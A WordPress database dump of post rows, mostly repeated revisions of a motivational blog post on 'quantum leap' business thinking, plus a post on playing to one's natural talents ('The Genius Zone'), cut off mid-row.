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(2047, 2, '2012-03-12 18:51:14', '2012-03-13 01:51:14', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\r\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\r\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\r\n\r\nBut how?\r\n\r\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\r\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\r\n<strong></strong>In 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”\r\n\r\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\r\n\r\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\r\n\r\n<strong>Change your personal rules for the game of success.</strong>\r\n\r\nIt’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\r\n\r\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. Here are a few principals and prerequisites to help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\r\n\r\n<strong>Quit trying harder.</strong>\r\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\r\n\r\n<strong>Ignore conventional approaches.</strong>\r\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\r\n\r\n<strong>Focus on possibilities rather than obstacles.</strong>\r\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\r\n\r\n<strong>Suspend all your disbelief.</strong>\r\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\r\n\r\n<strong>Focus on the end not the means.</strong>\r\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\r\n\r\n<strong>Take different risks</strong>.\r\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\r\n\r\n<strong>Trust the unseen forces.</strong>\r\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\r\n\r\n<strong>Stop wishing and wanting</strong>.\r\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\r\n\r\n<strong>Go looking for failure, then use it.</strong>\r\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\r\n\r\n<strong>Don’t get comfortable.</strong>\r\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\r\n\r\n<strong>Be open to your genius.</strong>\r\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\r\n\r\n<strong>Do what matters to you.</strong>\r\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\r\n\r\n<strong>Move before your ready.</strong>\r\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\r\n\r\n<strong>Look inside for opportunity.</strong>\r\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision-7', '', '', '2012-03-12 18:51:14', '2012-03-13 01:51:14', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision-7/', 0, 'revision', '', 0),
(2048, 2, '2012-03-12 18:56:12', '2012-03-13 01:56:12', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\n\nBut how?\n\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\n\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\n\n<strong>Change your personal rules for the game of success.</strong>\n\nIn 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”. It’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\n\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. Ypu''ll need to seek the unexpected result. Here are a few principals and prerequisites thaat may help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\n\n<strong>Quit trying harder.</strong>\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\n\n<strong>Ignore conventional approaches.</strong>\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\n\n<strong>Focus on possibilities rather than obstacles.</strong>\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\n\n<strong>Suspend all your disbelief.</strong>\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\n\n<strong>Focus on the end not the means.</strong>\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\n\n<strong>Take different risks</strong>.\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\n\n<strong>Trust the unseen forces.</strong>\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\n\n<strong>Stop wishing and wanting</strong>.\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\n\n<strong>Go looking for failure, then use it.</strong>\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\n\n<strong>Don’t get comfortable.</strong>\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\n\n<strong>Be open to your genius.</strong>\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\n\n<strong>Do what matters to you.</strong>\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\n\n<strong>Move before your ready.</strong>\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\n\n<strong>Look inside for opportunity.</strong>\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision-8', '', '', '2012-03-12 18:56:12', '2012-03-13 01:56:12', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision-8/', 0, 'revision', '', 0),
(2050, 2, '2012-03-12 18:59:16', '2012-03-13 01:59:16', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\n\nBut how?\n\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\n\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\n\n<strong>Change your personal rules for the game of success.</strong>\n\nIn 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”. It’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\n\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. You''ll need to seek the unexpected result. Here are a few principals and prerequisites that may help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\n\n<strong>Quit trying harder.</strong>\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\n\n<strong>Ignore conventional approaches.</strong>\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\n\n<strong>Focus on possibilities rather than obstacles.</strong>\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\n\n<strong>Suspend all your disbelief.</strong>\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\n\n<strong>Focus on the end not the means.</strong>\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\n\n<strong>Take different risks</strong>.\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\n\n<strong>Trust the unseen forces.</strong>\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\n\n<strong>Stop wishing and wanting</strong>.\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\n\n<strong>Go looking for failure, then use it.</strong>\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\n\n<strong>Don’t get comfortable.</strong>\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\n\n<strong>Be open to your genius.</strong>\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\n\n<strong>Do what matters to you.</strong>\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\n\n<strong>Move before your ready.</strong>\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\n\n<strong>Look inside for opportunity.</strong>\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision-10', '', '', '2012-03-12 18:59:16', '2012-03-13 01:59:16', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision-10/', 0, 'revision', '', 0),
(2049, 2, '2012-03-12 18:57:17', '2012-03-13 01:57:17', '<img class="alignnone size-full wp-image-2040" title="quantum_leap1" src="http://whc.fbdev.org/wp-content/uploads/2012/03/quantum_leap1.jpg" alt="" width="490" height="355" />\r\n<h1><span style="color: #808080;">Many creative entrepreneurs take comfort in their gradual progress. When it comes to growing your creative business, wouldn’t you rather speed things up? Maybe even skip a few levels altogether?</span></h1>\r\nBit by bit, slow moving progress and incremental gains toward achieving your goals would seem logical and acceptable. Trouble is it just takes so much longer. Don’t you think it would be far more interesting and exciting to whiz past all your current circumstances at light speed? Of course you would, who wouldn’t?  If your interested in breaking a few physical laws, then making quantum leaps in your business growth will require multiplying your effectiveness by a power of ten, or hundred, or even a thousand.\r\n\r\nBut how?\r\n\r\nQuantum leaps are not the result of impatience but massive personal effectiveness. You can’t have any effect on the physical reality that exists now. You can’t make the outside world you find yourself in now amend itself to your schedule.  You can’t make the right clients show up when you desperately need business now.  You have no power whatsoever to change the current reality. Your current reality is a natural result of your past thinking.\r\n<h2><strong>Quantum leaps require a quantum leap mindset–a radically new way of thinking and behaving. It begins by knowing what you want, deciding to pursue it, and expecting it will be delivered to you–all at light speed!</strong></h2>\r\nIt’s no fun clawing your way to the freaking middle!  I’m suggesting a formula for achievement that involves multiplying rather than adding– a geometric progression in your personal and professional effectiveness.\r\n\r\nRather than being satisfied with gradual progress and conventional growth, you can move several steps higher directly in a quantum leap towards your bigger, better future! This is a move that implies you place yourself far beyond the next logical step. Quantum leaps violate common sense, are often counter-intuitive, even paradoxical. As a result many entrepreneurs believe these moves are far-fetched, outrageous, even dangerous.\r\n\r\n<strong>Change your personal rules for the game of success.</strong>\r\n\r\nIn 500 BC, Heraclitus wrote “ if you do not expect it, you will not find the unexpected”. It’s difficult to reframe a lifetime of limiting beliefs and unproductive behaviors. But that’s what a quantum leap requires–a change in your current point of view about how things work. As humans, we’re naturally predisposed to going with what we know works.  The game you played to get to your current level can’t be played by the same rules in the higher levels.\r\n\r\nTo accelerate your rate of achievement rapidly, you must employ new ideas and behaviors that change the rules of the game in ways that moves you forward by an order of magnitude. You''ll need to seek the unexpected result. Here are a few principals and prerequisites thaat may help you think about changing the rules of your success game by making a quantum leap toward your desires in life and business:\r\n\r\n<strong>Quit trying harder.</strong>\r\nYou’ll wear yourself out then you won’t be any good to anybody. Sooner or later you won’t be able to try harder. When you are stressed and stretched to your limits you will be blocked from insight, inspiration, creativity and innovative thinking–all necessary for a quantum leap.\r\n\r\n<strong>Ignore conventional approaches.</strong>\r\nOrdinarily, you might be tempted to go along with the tried and true. Ignore that temptation!  Quantum leaps are not governed by familiarlty, logic, common sense, or what is working now. If you’re trying to climb a wall, look for the doorway and walk through. If you are resisting and pushing, reverse your course and go with the flow.\r\n\r\n<strong>Focus on possibilities rather than obstacles.</strong>\r\nOne of my teachers has a simple but powerful expression “where you look is where you go”.  Stop looking at obstacles start believing in possibilities. When you focus your creative mind on possibilities, chances are you’ll be drawn to them with light speed.\r\n\r\n<strong>Suspend all your disbelief.</strong>\r\nIf you absolutely must doubt something, doubt your limits. Your doubt is a boat anchor on your progress. Quantum leaps and quantified proof cannot reside in the same space and time. Believe in your success, make the leap of faith, then act as if your success is guaranteed.\r\n\r\n<strong>Focus on the end not the means.</strong>\r\nYou don’t need to know “how”  but you sure as hell need to know where you’re going. You must have razor sharp conviction, and a crystal clear mental image of what you want to accomplish. Forget about methodology and doing the right things. Think of it this way- you’re not concerned with what happens in the middle of a jump–put your focus on where you’re going to land.\r\n\r\n<strong>Take different risks</strong>.\r\nQuantum leaps are not about taking big chances, this is about giving yourself a big chance. If you try to minimize, hedge your vulnerability by being safe in the status quo, you’ll kill your chances for a quantum leap. You don’t have to be reckless or impulsive to follow an opportunity you have been ignoring.\r\n\r\n<strong>Trust the unseen forces.</strong>\r\nThere are invisible forces and resources ready to make a profound difference in your progress. An absence of evidence is not evidence of their absence. You are at all times surrounded by possibility and opportunity. Like a fish, you don’t know you’re wet. Allow the unseen forces to do their good works in association with you.\r\n\r\n<strong>Stop wishing and wanting</strong>.\r\nThe marketplace rewards those who earn and desire, never because they desire or need.  Don’t confuse wishing and wanting with pursuing. You must take action. It’s nice and safe to wish for something. Pursuit, on the other hand, is essential for a quantum leaps. Move your ass!\r\n\r\n<strong>Go looking for failure, then use it.</strong>\r\nPerhaps you’re familiar with the expression ”perfection is the enemy of progress”? Nothing is perfect. Everything in the universe is constantly shifting and changing. So are you. Forget about the right time, the right resources, the perfect opportunity. There is only right now! Be willing to test the limits of what you are capable of by accepting failure. Failure is a necessary resource for sharpening the edge off your capabilities and making a quantum leap.\r\n\r\n<strong>Don’t get comfortable.</strong>\r\nComfort will put you sound asleep. Are you uncomfortable right now? If you are, that’s a good sign. Uneasiness is required when a quantum leap is underway. Let lose and ride the big wave of your quantum leap by playing out on the edges!\r\n\r\n<strong>Be open to your genius.</strong>\r\nEveryone has unique gifts, talents and capabilities. High achievers are always open to their genius. The part of their being that accomplishes things in an easy and relaxed way. Open up to your genius, find your wings.\r\n\r\n<strong>Do what matters to you.</strong>\r\nYou can’t make a quantum leap toward a lukewarm idea of the future. You must do what truly matters to you, something remarkable, special and precious enough to light a fire in your heart and under your ass. What is your “magnificent obsession”?\r\n\r\n<strong>Move before your ready.</strong>\r\nYou’ll discover, once underway, that you know more than you know you know. Stop getting ready to get ready. There is no preparation required for a quantum leap. The time to move is now with what you have and from where you stand.\r\n\r\n<strong>Look inside for opportunity.</strong>\r\nEverything that is needed right now for a quantum leap comes from within you. Everything. The opportunity, the timing, the power to perform–all these are within you, not in the circumstance outside you.', 'The Qualities of a Quantum Leap Mindset.', 0, '', 'inherit', 'open', 'open', '', '2039-revision-9', '', '', '2012-03-12 18:57:17', '2012-03-13 01:57:17', '', 2039, 'http://www.whitehotcenter.com/2012/03/2039-revision-9/', 0, 'revision', '', 0),
(2052, 2, '2012-04-22 13:43:33', '2012-04-22 20:43:33', '<img class="alignnone size-full wp-image-2053" title="genius" src="http://whc.fbdev.org/wp-content/uploads/2012/04/genius.jpg" alt="the genius zone" width="504" height="471" />\r\n<h1><span style="color: #808080;">Our culture is obsessed with improvement. Throughout your life, you’ve been programmed to overcome weakness and master something you’re really not good at nor care that much about.  Don’t waste creative energy getting good at something you suck at!</span></h1>\r\nRecently I was invited to speak to a couple hundred graduating graphic design students at <a href="http://www.kcad.edu/" target="_blank">Ferris University Kendall College of Design</a> in Grand Rapids, Michigan.  Of course most of these students were pre-occupied with finding a job, any job, and getting their professional careers in the advertising and marketing business off the ground.\r\n\r\nIn my talk, I shared some ideas on what it takes to build a foundation for a professional career that can be sustained for three or four decades without burning out ten years down the road.  In the question and answer session that followed, one theme stood out:\r\n\r\n<strong>These young professionals wanted more than a job, they wanted to do work that mattered to them.</strong>\r\n\r\nThey craved deeper insight and ideas on what activity or niche they were best suited to pursue in developing their careers. The intuitive sense that they could only be happy and satisfied if they engage in unique, specific and meaningful work was palpable.\r\n\r\nWhat seemed to be most compelling was my suggestion to build the foundation of professional life from one’s inherent talents and strengths. I advised them don’t spend too much time laboring to master something you have no talent for or interest in.\r\n\r\nI call inherent talent the “genius zone”– a zone of activity that represents unending joy, passion, desire, continuous improvement, and opportunity to make your greatest contributions and achievements. In a culture (and educational system) obsessed with improving weakness and getting better at navigating the path of MOST resistance, the idea of playing to natural talents resonated deeply with these young people.\r\n\r\n<strong>Play to your strengths, forget about improving your weakness.</strong>\r\n\r\nMicheal Jordan was considered by many people to be the greatest basketball player the game has ever known. He was a genius at playing basketball. He never stopped growing and improving his capabilities to play great basketball. However, as hard as he tried, as long as he practiced, he could never be the “Micheal Jordan” of golf or baseball.  He didn’t have the same level of inherent talent for those activities.\r\n\r\nIt’s a myth in our culture that you can become anything you desire and work hard at achieving. It can be done, but at a high cost for low returns. The lesson here is simple–you have greater potential for sustainable success when you build on who you already are. You cannot be anything you want to be, but you can be far more of who you already are!\r\n\r\n<strong>The Genius Zone.</strong>\r\n\r\nNot surprisingly, it’s difficult for many people to describe their natural talent–their genius zone. Many have spent years mastering other activities to a level of mere competence. This can be very frustrating and not a useful and productive expenditure of time and life energy.  This has important implication for anything you are working on– career, business, or a fulfilling life.\r\n\r\nThe genius zone is where all your natural inherent talent resides, and only there will your talent be accessible. Talent is nothing more than a natural way of thinking, feeling or behaving. It’s so natural (like breathing) you hardly give it a second thought. Your talent has always been with you. And regardless of what activities you pursue over time, your talent stays with you.\r\n\r\nNatural talent however is not enough. You also need to invest time and energy into building knowledge and developing the necessary skills to be an expert. When you multiply your natural talent with the investment in building skill or knowledge, the sum will be your “core strength” – the ability for continuous growth and contribution in activities that matter to you and serve others.\r\n<h2>The genius zone is all about leveraging your core strengths to make quantum leaps in your progress toward the realization of your desires.</h2>\r\nIn business and in life, focus your vision, your desires, and all your actions on your genius. Your genius is your unique point of difference– the very thing that sets you apart from everyone else in the marketplace. Build strong relationships by partnering with others whose genius is in an area of your weakness. When you do, this will form a powerful combination for creating exponential life success in an easy and relaxed way.', 'The Genius Zone: Build your future on who you already are. ', 0, '', 'publish', 'open', 'open', '', 'the-genius-zone-build-your-future-on-who-you-already-are', '', '', '2012-04-22 13:43:33', '2012-04-22 20:43:33', '', 0, 'http://www.whitehotcenter.com/?p=2052', 0, 'post', '', 0),
(2053, 2, '2012-04-22 13:25:48', '2012-04-22 20:25:48', '', 'genius', 0, '', 'inherit', 'open', 'open', '', 'genius', '', '', '2012-04-22 13:25:48', '2012-04-22 20:25:48', '', 2052, 'http://www.whitehotcenter.com/wp-content/uploads/2012/04/genius.jpg', 0, 'attachment', 'image/jpeg', 0),
(2055, 2, '2012-04-22 13:30:19', '2012-04-22 20:30:19', '<img class="alignnone size-full wp-image-2053" title="genius" src="http://whc.fbdev.org/wp-content/uploads/2012/04/genius.jpg" alt="the genius zone" width="504" height="471" />\n<h1><span style="color: #808080;">Our culture is obsessed with improvement. Throughout your life, you’ve been programmed to overcome weakness and master something you’re really not good at nor care that much about.  Don’t waste creative energy getting good at something you suck at!</span></h1>\nRecently I was invited to speak to a couple hundred graduating graphic design students at Ferris University Kendall College of Design in Grand Rapids, Michigan.  Of course most of these students were pre-occupied with finding a job, any job, and getting their professional careers in the advertising and marketing business off the ground.\n\nIn my talk, I shared some ideas on what it takes to build a foundation for a professional career that can be sustained for three or four decades without burning out ten years down the road.  In the question and answer session that followed, one theme stood out:\n\nThese young professionals wanted more than a job, they wanted to do work that mattered to them.\n\nThey craved deeper insight and ideas on what activity or niche they were best suited to pursue in developing their careers. The intuitive sense that they could only be happy and satisfied if they engage in unique, specific and meaningful work was palpable.\n\nWhat seemed to be most compelling was my suggestion to build the foundation of professional life from one’s inherent talents and strengths. I advised them don’t spend too much time laboring to master something you have no talent for or interest in.\n\nI call inherent talent the “genius zone”– a zone of activity that represents unending joy, passion, desire, continuous improvement, and opportunity to make your greatest contributions and achievements. In a culture (and educational system) obsessed with improving weakness and getting better at navigating the path of MOST resistance, the idea of playing to natural talents resonated deeply with these young people.\n\n<strong>Play to your strengths, forget about improving your weakness.</strong>\n\nMicheal Jordan was considered by many people to be the greatest basketball player the game has ever known. He was a genius at playing basketball. He never stopped growing and improving his capabilities to play great basketball. However, as hard as he tried, as long as he practiced, he could never be the “Micheal Jordan” of golf or baseball.  He didn’t have the same level of inherent talent for those activities.\n\nIt’s a myth in our culture that you can become anything you desire and work hard at achieving. It can be done, but at a high cost for low returns. The lesson here is simple–you have greater potential for sustainable success when you build on who you already are. You cannot be anything you want to be, but you can be far more of who you already are!\n\n<strong>The Genius Zone.</strong>\n\nNot surprisingly, it’s difficult for many people to describe their natural talent–their genius zone. Many have spent years mastering other activities to a level of mere competence. This can be very frustrating and not a useful and productive expenditure of time and life energy.  This has important implication for anything you are working on– career, business, or a fulfilling life.\n\nThe genius zone is where all your natural inherent talent resides, and only there will your talent be accessible. Talent is nothing more than a natural way of thinking, feeling or behaving. It’s so natural (like breathing) you hardly give it a second thought. Your talent has always been with you. And regardless of what activities you pursue over time, your talent stays with you.\n\nNatural talent however is not enough. You also need to invest time and energy into building knowledge and developing the necessary skills to be an expert. When you multiply your natural talent with the investment in building skill or knowledge, the sum will be your “core strength” – the ability for continuous growth and contribution in activities that matter to you and serve others.\n<h2>The genius zone is all about leveraging your core strengths to make quantum leaps in your progress toward the realization of your desires.</h2>\nIn business and in life, focus your vision, your desires, and all your actions on your genius. Your genius is your unique point of difference– the very thing that sets you apart from everyone else in the marketplace. Build strong relationships by partnering with others whose genius is in an area of your weakness. When you do, this will form a powerful combination for creating exponential life success in an easy and relaxed way.', 